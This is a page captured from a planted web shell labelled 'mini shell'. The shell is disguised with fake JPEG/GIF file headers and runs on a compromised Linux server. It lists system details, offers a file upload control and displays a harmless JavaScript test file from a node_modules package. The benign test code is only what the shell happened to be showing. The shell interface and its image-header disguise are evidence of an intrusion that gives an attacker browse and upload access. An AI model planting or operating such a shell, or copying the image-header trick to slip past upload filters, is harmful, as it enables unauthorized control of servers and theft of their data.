ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/node_modules/@ljharb/through/test/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/node_modules/@ljharb/through/test/auto-destroy.js

'use strict';

var test = require('tape');
var through = require('../');

// must emit end before close.

test('end before close', function (assert) {
	var ts = through(null, null, { autoDestroy: false });
	var ended = false;
	var closed = false;

	ts.on('end', function () {
		assert.ok(!closed);
		ended = true;
	});
	ts.on('close', function () {
		assert.ok(ended);
		closed = true;
	});

	ts.write(1);
	ts.write(2);
	ts.write(3);
	ts.end();
	assert.ok(ended);
	assert.notOk(closed);
	ts.destroy();
	assert.ok(closed);
	assert.end();
});


xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST